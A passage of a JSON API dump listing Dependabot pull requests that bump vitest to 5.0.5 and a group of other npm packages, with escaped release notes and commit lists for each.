--\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/kubai087/lumno-extension/pull/106","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/kubai087%2Flumno-extension/issues/106","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/106/packages"},{"uuid":"5995015025","node_id":"PR_kwDOPJNAnc8AAAABKNs8SA","number":117,"state":"open","title":"chore(deps-dev): bump vitest from 5.0.4 to 5.0.5","user":"dependabot[bot]","labels":["dependencies"],"assignees":["dytsou"],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T09:05:23.000Z","updated_at":"2026-10-23T13:32:48.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev)","packages":[{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) from 5.0.4 to 5.0.5.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/dytsou/shorten-url/pull/117","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dytsou%2Fshorten-url/issues/117","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/117/packages"},{"uuid":"5994372331","node_id":"PR_kwDOUxTS2M8AAAABKNMCwA","number":35,"state":"open","title":"chore(deps): bump the minor-and-patch group across 1 directory with 16 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T08:16:26.000Z","updated_at":"2026-10-23T08:16:57.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"minor-and-patch","update_count":16,"packages":[{"name":"@base-ui/react","old_version":"1.8.0","new_version":"1.9.0","repository_url":"https://github.com/mui/base-ui"},{"name":"cn","old_version":"0.4.0","new_version":"0.5.0","repository_url":"https://github.com/shadcn-ui/cn"},{"name":"lucide-react","old_version":"1.52.0","new_version":"1.60.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-router","old_version":"8.4.0","new_version":"8.5.0","repository_url":"https://github.com/remix-run/react-router"},{"name":"shadcn","old_version":"4.21.3","new_version":"4.22.1","repository_url":"https://github.com/shadcn-ui/ui"},{"name":"@testing-library/user-event","old_version":"14.6.7","new_version":"14.6.8","repository_url":"https://github.com/testing-library/user-event"},{"name":"@types/node","old_version":"24.19.1","new_version":"24.19.2","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"jsdom","old_version":"30.1.2","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"prettier","old_version":"3.9.9","new_version":"3.9.10","repository_url":"https://github.com/prettier/prettier"},{"name":"rolldown","old_version":"1.2.12","new_version":"1.2.14","repository_url":"https://github.com/rolldown/rolldown"},{"name":"typescript-eslint","old_version":"8.71.1","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vite","old_version":"8.3.3","new_version":"8.3.4","repository_url":"https://github.com/vitejs/vite"},{"name":"vitest","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 16 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@base-ui/react](https://github.com/mui/base-ui/tree/HEAD/packages/react) | `1.8.0` | `1.9.0` |\n| [cn](https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn) | `0.4.0` | `0.5.0` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.52.0` | `1.60.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [react-router](https://github.com/remix-run/react-router/tree/HEAD/packages/react-router) | `8.4.0` | `8.5.0` |\n| [shadcn](https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn) | `4.21.3` | `4.22.1` |\n| [@testing-library/user-event](https://github.com/testing-library/user-event) | `14.6.7` | `14.6.8` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `24.19.1` | `24.19.2` |\n| [eslint](https://github.com/eslint/eslint) | `10.12.0` | `10.13.0` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.2` | `30.1.3` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.9` | `3.9.10` |\n| [rolldown](https://github.com/rolldown/rolldown/tree/HEAD/packages/rolldown) | `1.2.12` | `1.2.14` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | 